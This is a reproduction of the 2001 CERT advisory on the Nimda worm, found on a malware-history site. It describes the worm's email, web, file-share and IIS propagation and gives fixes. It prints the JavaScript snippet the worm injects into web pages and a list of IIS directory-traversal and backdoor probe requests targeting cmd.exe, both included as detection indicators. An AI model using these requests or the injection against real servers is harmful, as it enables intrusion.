Softpanorama

May the source be with you, but remember the KISS principle ;-)
Contents Bulletin Scripting in shell and Perl Network troubleshooting History Humor

Malware Defense History

by Dr. Nikolai Bezroukov.

Copyright: Dr. Nikolai Bezroukov 1994-2013. Unpublished notes. Version 0.80.October, 2013

Contents : Foreword : Ch01 : Ch02 : Ch03  : Ch04 : Ch05 : Ch06 : Ch07 : Ch08 : Ch09 : Ch10 : Ch11 : Ch12 : Ch13


Chapter 6: Mail Worms

CERT Advisory CA-2001-26 Nimda Worm

Original release date: September 18, 2001
Revised: September 25, 2001
Source: CERT/CC
 

A complete revision history is at the end of this file.

Systems Affected

Overview

The CERT/CC has received reports of new malicious code known as the "W32/Nimda worm" or the "Concept Virus (CV) v.5." This new worm appears to spread by multiple mechanisms: 

The worm modifies web documents (e.g., .htm, .html, and .asp files) and certain executable files found on the systems it infects, and creates numerous copies of itself under various file names.

We have also received reports of denial of service as a result of network scanning and email propagation.

I. Description

The Nimda worm has the potential to affect both user workstations (clients) running Windows 95, 98, ME, NT, or 2000 and servers running Windows NT and 2000.

Email Propagation

This worm propagates through email arriving as a MIME "multipart/alternative" message consisting of two sections. The first section is defined as MIME type "text/html", but it contains no text, so the email appears to have no content. The second section is defined as MIME type "audio/x-wav", but it contains a base64-encoded attachment named "readme.exe", which is a binary executable.

Due to a vulnerability described in CA-2001-06 (Automatic Execution of Embedded MIME Types), any mail software running on an x86 platform that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2) to render the HTML mail automatically runs the enclosed attachment and, as result, infects the machine with the worm. Thus, in vulnerable configurations, the worm payload will automatically be triggered by simply opening (or previewing) this mail message. As an executable binary, the payload can also be triggered by simply running the attachment.

The email message delivering the Nimda worm appears to also have the following characteristics:

The worm also contains code that will attempt to resend the infected email messages every 10 days.

Payload

The email addresses targeted for receiving the worm are harvested from two sources

These files are passed through a simple pattern matcher which collects strings that look like email addresses. These addresses then receive a copy of the worm as a MIME-encoded email attachment. Nimda stores the time the last batch of emails were sent in the Windows registry, and every 10 days will repeat the process of harvesting addresses and sending the worm via email.

Likewise, the client machines begin scanning for vulnerable IIS servers. Nimda looks for backdoors left by previous IIS worms: Code Red II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also attempts to exploit various IIS Directory Traversal vulnerabilities (VU#111677 and CA-2001-12). The selection of potential target IP addresses follows these rough probabilities:

The infected client machine attempts to transfer a copy of the Nimda code via tftp (69/UDP) to any IIS server that it scans and finds to be vulnerable.

Once running on the server machine, the worm traverses each directory in the system (including all those accessible through file shares) and writes a MIME-encoded copy of itself to disk using file names with .eml or .nws extensions (e.g., readme.eml). When a directory containing web content (e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended to every one of these web-related files:

<script language="JavaScript">
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
</script>

This modification of web content allows further propagation of the worm to new clients through a web browser or through the browsing of a network file system.

In order to further expose the machine, the worm

Furthermore, the Nimda worm infects existing binaries on the system by creating Trojan horse copies of legitimate applications. These Trojan horse versions of the applications will first execute the Nimda code (further infecting the system and potentially propagating the worm), and then complete their intended function.

Browser Propagation

As part of the infection process, the Nimda worm modifies all web content files it finds (including, but not limited to, files with .htm, .html, and .asp extensions). As a result, any user browsing web content on the system, whether via the file system or via a web server, may download a copy of the worm. Some browsers may automatically execute the downloaded copy, thereby infecting the browsing system.

File System Propagation

The Nimda worm creates numerous MIME-encoded copies of itself (using file names with .eml and .nws extensions) in all writable directories (including those found on a network share) to which the user has access. If a user on another system subsequently selects the copy of the worm file on the shared network drive in Windows Explorer with the preview option enabled, the worm may be able to compromise that system.

Additionally, by creating Trojan horse versions of legitimate applications already installed on the system, users may unknowingly trigger the worm when attempting to make use of these programs.

System FootPrint

The scanning activity of the Nimda worm produces the following log entries for any web server listing on port 80/tcp:

GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

Note: The first four entries in these sample logs denote attempts to connect to the backdoor left by Code Red II, while the remaining log entries are examples of exploit attempts for the Directory Traversal vulnerability.

II. Impact

Intruders can execute arbitrary commands within the LocalSystem security context on machines running the unpatched versions of IIS. In the case where a client is compromised, the worm will be run with the same privileges as the user who triggered it. Hosts that have been compromised are also at high risk for being party to attacks on other Internet sites.

The high scanning rate of the Nimda worm may also cause bandwidth denial-of-service conditions on networks with infected machines.

III. Solutions

Recommendations for System Administrators of IIS machines

To determine if your system has been compromised, look for the following:

The only safe way to recover from the system compromise is to format the system drive(s) and reinstall the system software from trusted media (such as vendor-supplied CD-ROM). Additionally, after the software is reinstalled, all vendor-supplied security patches must be applied. The recommended time to do this is while the system is not connected to any network. However, if sufficient care is taken to disable all server network services, then the patches can be downloaded from the Internet.

Detailed instructions for recovering your system can be found in the CERT/CC tech tip:

Steps for Recovering from a UNIX or NT System Compromise

Apply the appropriate patch from your vendor

A cumulative patch which addresses all of the IIS-related vulnerabilities exploited by the Nimda worm is available from Microsoft at

http://www.microsoft.com/technet/security/bulletin/MS01-044.asp

Recommendations for Network Administrators

Ingress filtering

Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound connections from the public Internet. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound connections to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound connections to non-authortized services. With Nimda, ingress filtering of port 80/tcp could prevent instances of the worm outside of your network from scanning or infecting vulnerable IIS servers in the local network that are not explicitly authorized to provide public web services. Filtering of port 69/udp will also prevent the downloading of the worm to IIS via tftp.

Cisco has published a tech tip specifically addressing filtering guidelines to mitigate the impact of the Nimda worm at

http://www.cisco.com/warp/public/63/nimda.shtml

Egress filtering

Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound connections to the Internet. In the case of Nimda, employing egress filtering on port 69/udp at your network border will prevent certain aspects of the worms propogation both to and from your network.

Recommendations for End User Systems

Apply the appropriate patch from your vendor

If you are running a vulnerable version of Internet Explorer (IE), the CERT/CC recommends upgrading to at least version 5.0 since older versions are no longer officially maintained by Microsoft. Users of IE 5.0 and above are encourage to apply patch for the "Automatic Execution of Embedded MIME Types" vulnerability available from Microsoft at
 

http://www.microsoft.com/technet/security/bulletin/MS01-020.asp

Note: IE 5.5 SP1 users should apply the patches discussed in MS01-027

Run and Maintain an Anti-Virus Product

It is important for users to update their anti-virus software. Most anti-virus software vendors have released updated information, tools, or virus databases to help detect and partially recover from this malicious code. A list of vendor-specific anti-virus information can be found in Appendix A.

Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates when available.

Don't open e-mail attachments

The Nimda worm may arrive as an email attachment named "readme.exe". Users should not open this attachment.

Disable JavaScript

End-user systems can become infected with the Nimda worm by browsing web sites hosted by infected servers. This method of infection requires the use of JavaScript to be successful. Therefore, the CERT/CC recommends that end user systems disable JavaScript until all appropriate patches have been applied and anti-virus software has been updated.

Appendix A. Vendor Information

Antivirus Vendor Information

Aladdin Knowledge Systems

http://www.eSafe.com/home/csrt/valerts2.asp?virus_no=10087

Central Command, Inc.

http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005

Command Software Systems

http://www.commandsoftware.com/virus/nimda.html

Computer Associates

http://www.ca.com/virusinfo/encyclopedia/descriptions/n/nimda.htm

F-Secure Corp

http://www.fsecure.com/v-descs/nimda.shtml

McAfee

http://vil.mcafee.com/dispVirus.asp?virus_k=99209&

Panda Software

http://service.pandasoftware.es/library/card.jsp?Virus=Nimda

Proland Software

http://www.pspl.com/virus_info/worms/nimda.htm

Sophos

http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

Symantec

http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html

Trend Micro

http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A

References

You may wish to visit the CERT/CC's computer virus resources page located at

 

http://www.cert.org/other_sources/viruses.html


Feedback on this document may be directed to the authors, Roman Danyliw, Chad Dougherty, Allen Householder, Robin Ruefle


This document is available from: http://www.cert.org/advisories/CA-2001-26.html


CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
 

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.
 

CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

 

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from

 

If you prefer to use DES, please call the CERT hotline for more information.

 

Getting security information

CERT publications and other security information are available from our web site

 

To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message
 

subscribe cert-advisory

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office.

 


NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement.


Conditions for use, disclaimers, and sponsorship information

 

Copyright 2001 Carnegie Mellon University.

Revision History

September 18, 2001: Initial Release
September 19, 2001: Updated link to MS advisory MS01-027
September 19, 2001: Updated antivirus vendor information,
                    updated e-mail propagation description,
                    added reference to second related IIS vul
September 20, 2001: Added link to Computer Associates in vendor information,
                    Updated overview, payload, file system propagation, and 
                    recommendations for system administrator sections
September 20, 2001: Fix link to CA-2001-12 in payload section
September 21, 2001: Added recommendations for network administrators,
                    updated payload section, updated vendor information
                    clarified recommendations for end user systems
September 25, 2001: Qualified note concerning MS01-027  



Etc

FAIR USE NOTICE This site contains copyrighted material the use of which has not always been specifically authorized by the copyright owner. We are making such material available in our efforts to advance understanding of environmental, political, human rights, economic, democracy, scientific, and social justice issues, etc. We believe this constitutes a 'fair use' of any such copyrighted material as provided for in section 107 of the US Copyright Law. In accordance with Title 17 U.S.C. Section 107, the material on this site is distributed without profit exclusivly for research and educational purposes.   If you wish to use copyrighted material from this site for purposes of your own that go beyond 'fair use', you must obtain permission from the copyright owner. 

ABUSE: IPs or network segments from which we detect a stream of probes might be blocked for no less then 90 days. Multiple types of probes increase this period.  

Society

Groupthink : Two Party System as Polyarchy : Corruption of Regulators : Bureaucracies : Understanding Micromanagers and Control Freaks : Toxic Managers :   Harvard Mafia : Diplomatic Communication : Surviving a Bad Performance Review : Insufficient Retirement Funds as Immanent Problem of Neoliberal Regime : PseudoScience : Who Rules America : Neoliberalism  : The Iron Law of Oligarchy : Libertarian Philosophy

Quotes

War and Peace : Skeptical Finance : John Kenneth Galbraith :Talleyrand : Oscar Wilde : Otto Von Bismarck : Keynes : George Carlin : Skeptics : Propaganda  : SE quotes : Language Design and Programming Quotes : Random IT-related quotesSomerset Maugham : Marcus Aurelius : Kurt Vonnegut : Eric Hoffer : Winston Churchill : Napoleon Bonaparte : Ambrose BierceBernard Shaw : Mark Twain Quotes

Bulletin:

Vol 25, No.12 (December, 2013) Rational Fools vs. Efficient Crooks The efficient markets hypothesis : Political Skeptic Bulletin, 2013 : Unemployment Bulletin, 2010 :  Vol 23, No.10 (October, 2011) An observation about corporate security departments : Slightly Skeptical Euromaydan Chronicles, June 2014 : Greenspan legacy bulletin, 2008 : Vol 25, No.10 (October, 2013) Cryptolocker Trojan (Win32/Crilock.A) : Vol 25, No.08 (August, 2013) Cloud providers as intelligence collection hubs : Financial Humor Bulletin, 2010 : Inequality Bulletin, 2009 : Financial Humor Bulletin, 2008 : Copyleft Problems Bulletin, 2004 : Financial Humor Bulletin, 2011 : Energy Bulletin, 2010 : Malware Protection Bulletin, 2010 : Vol 26, No.1 (January, 2013) Object-Oriented Cult : Political Skeptic Bulletin, 2011 : Vol 23, No.11 (November, 2011) Softpanorama classification of sysadmin horror stories : Vol 25, No.05 (May, 2013) Corporate bullshit as a communication method  : Vol 25, No.06 (June, 2013) A Note on the Relationship of Brooks Law and Conway Law

History:

Fifty glorious years (1950-2000): the triumph of the US computer engineering : Donald Knuth : TAoCP and its Influence of Computer Science : Richard Stallman : Linus Torvalds  : Larry Wall  : John K. Ousterhout : CTSS : Multix OS Unix History : Unix shell history : VI editor : History of pipes concept : Solaris : MS DOSProgramming Languages History : PL/1 : Simula 67 : C : History of GCC developmentScripting Languages : Perl history   : OS History : Mail : DNS : SSH : CPU Instruction Sets : SPARC systems 1987-2006 : Norton Commander : Norton Utilities : Norton Ghost : Frontpage history : Malware Defense History : GNU Screen : OSS early history

Classic books:

The Peter Principle : Parkinson Law : 1984 : The Mythical Man-MonthHow to Solve It by George Polya : The Art of Computer Programming : The Elements of Programming Style : The Unix Haterís Handbook : The Jargon file : The True Believer : Programming Pearls : The Good Soldier Svejk : The Power Elite

Most popular humor pages:

Manifest of the Softpanorama IT Slacker Society : Ten Commandments of the IT Slackers Society : Computer Humor Collection : BSD Logo Story : The Cuckoo's Egg : IT Slang : C++ Humor : ARE YOU A BBS ADDICT? : The Perl Purity Test : Object oriented programmers of all nations : Financial Humor : Financial Humor Bulletin, 2008 : Financial Humor Bulletin, 2010 : The Most Comprehensive Collection of Editor-related Humor : Programming Language Humor : Goldman Sachs related humor : Greenspan humor : C Humor : Scripting Humor : Real Programmers Humor : Web Humor : GPL-related Humor : OFM Humor : Politically Incorrect Humor : IDS Humor : "Linux Sucks" Humor : Russian Musical Humor : Best Russian Programmer Humor : Microsoft plans to buy Catholic Church : Richard Stallman Related Humor : Admin Humor : Perl-related Humor : Linus Torvalds Related humor : PseudoScience Related Humor : Networking Humor : Shell Humor : Financial Humor Bulletin, 2011 : Financial Humor Bulletin, 2012 : Financial Humor Bulletin, 2013 : Java Humor : Software Engineering Humor : Sun Solaris Related Humor : Education Humor : IBM Humor : Assembler-related Humor : VIM Humor : Computer Viruses Humor : Bright tomorrow is rescheduled to a day after tomorrow : Classic Computer Humor

The Last but not Least


Copyright © 1996-2016 by Dr. Nikolai Bezroukov. www.softpanorama.org was created as a service to the UN Sustainable Development Networking Programme (SDNP) in the author free time. This document is an industrial compilation designed and created exclusively for educational use and is distributed under the Softpanorama Content License.

The site uses AdSense so you need to be aware of Google privacy policy. You you do not want to be tracked by Google please disable Javascript for this site. This site is perfectly usable without Javascript.

Original materials copyright belong to respective owners. Quotes are made for educational purposes only in compliance with the fair use doctrine.

FAIR USE NOTICE This site contains copyrighted material the use of which has not always been specifically authorized by the copyright owner. We are making such material available to advance understanding of computer science, IT technology, economic, scientific, and social issues. We believe this constitutes a 'fair use' of any such copyrighted material as provided by section 107 of the US Copyright Law according to which such material can be distributed without profit exclusively for research and educational purposes.

This is a Spartan WHYFF (We Help You For Free) site written by people for whom English is not a native language. Grammar and spelling errors should be expected. The site contain some broken links as it develops like a living tree...

You can use PayPal to make a contribution, supporting development of this site and speed up access. In case softpanorama.org is down you can use the at softpanorama.info

Disclaimer:

The statements, views and opinions presented on this web page are those of the author (or referenced source) and are not endorsed by, nor do they necessarily reflect, the opinions of the author present and former employers, SDNP or any other organization the author may be associated with. We do not warrant the correctness of the information provided or its fitness for any purpose.

Last modified: May, 08, 2017